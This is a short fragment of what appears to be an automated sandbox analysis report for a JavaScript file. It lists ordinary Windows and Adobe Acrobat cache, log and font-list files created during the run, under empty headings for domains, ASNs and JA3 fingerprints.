Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0b1f3f44-e0e9-4c67-bfa1-140eea774452.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2676

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2676

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Windows Analysis Report
25134116771465314533.js